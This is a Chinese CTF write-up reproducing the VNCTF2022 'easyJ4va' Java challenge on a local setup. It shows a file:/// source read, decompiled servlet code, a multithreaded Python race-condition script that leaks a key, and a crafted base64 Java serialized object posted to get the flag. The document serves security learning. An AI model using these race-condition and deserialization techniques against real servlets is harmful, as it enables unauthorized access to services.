VNCTF2022_easyJ4va
VNCTF2022_easyJ4va
前言
这次比赛看了这个Java题,赛中没打出来,然后现在来复现,环境关了,用之前读取到的源码重新搭建一下。
复现
访问http://localhost:8080/

F12查看一下源码,看到了/file?

访问http://localhost:8080/file

让我们输入url,这应该是url作为一个参数,尝试使用file:///协议
读取源码。因为这里是自己搭的环境,就读取源码所在路径了。

一共是有6个class文件,源码文件: https://le1a-1308465514.cos.ap-shanghai.myqcloud.com/2022/02/13/9b0ad29afab28.zip
拿到源码后,来审计一下,先来看看HelloWorldServle
类
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package servlet;
import entity.User;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;
@WebServlet(
name = "HelloServlet",
urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
private volatile String name = "m4n_q1u_666";
private volatile String age = "666";
private volatile String height = "180";
User user;
public HelloWorldServlet() {
}
public void init() throws ServletException {
this.user = new User(this.name, this.age, this.height);
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}
if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}
}
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}
}
private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}
看到这里,想要获取flag的话,得先获取到key

我们跟进到Secr3t类的check方法,发现只是检测传入的name的值是否等于vnctf2022,返回一个布尔值

要怎样做到既要满足name等于vnctf2022,来获取key,又不能满足第一个if条件的name=vnctf2022呢?
来看一下y4师傅前段时间发布的文章: Servlet的线程安全问题
可以通过多线程条件竞争的方式,一个线程为真,一个线程为假,来达到在那一瞬间,不满足第一个if条件,而满足第二个if条件。写一个python脚本跑一下:
import requests
import threading
url1 = 'http://localhost:8080/evi1?name=vnctf2022'
url2 = 'http://localhost:8080/evi1?name=vnctf2021'
def one(session):
while event.isSet():
res = session.get(url=url1).text
if 'Key' in res:
print(res)
event.clear()
def two(session):
while event.isSet():
res = session.get(url=url2).text
if 'Key' in res:
print(res)
event.clear()
if __name__ == '__main__':
event = threading.Event()
event.set()
session = requests.session()
for i in range(1, 30):
threading.Thread(target=one, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=two, args=(session,)).start()

得到Key为:TGUxYeaYrS4quWkpW4heavlO8ge8ge8gQ
。接下来看一下doPost方法

需要传入一个base64,如果key正确,且传入的base64不为空的话,对base64进行解码,然后传入到textByte字节数组中,然后进行反序列化,赋给User对象u,然后将u跟之前实例化的user对象作比较,相等则给出flag。
我们按照user对象的属性来新建一个对象,并调用SerAndDe的序列化方法,然后进行base64编码,然后试着将其传入题目中的base64
User user = new User("m4n_q1u_666","666","180");
byte[] X= SerAndDe.serialize(user);
String text=Base64.getEncoder().encodeToString(X);
但是得到的结果确实null,回到User类中发现,身高属性添加了transient关键字,使其不允许被序列化,所以我们反序列化得到的结果为null。查看到这篇文章
可以通过重写writeObject
方法来绕过,重新赋值一个可序列化的属性给对象
private void writeObject(ObjectOutputStream s) throws IOException{
s.defaultWriteObject();
s.writeObject("180");
}
随后运行刚刚的代码,发现得到的序列化结果可重新反序列化得到想要的对象属性

payload如下:
http://localhost:8080/evi1
post: key=TGUxYeaYrS4quWkpW4heavlO8ge8ge8gQ&base64=rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHg=
因为是本地搭建的,没有/readflag
,所以改为了calc.exe
便于更直观的看到效果


成功弹出计算器,复现结束。感谢@fmyyy带我呜呜呜!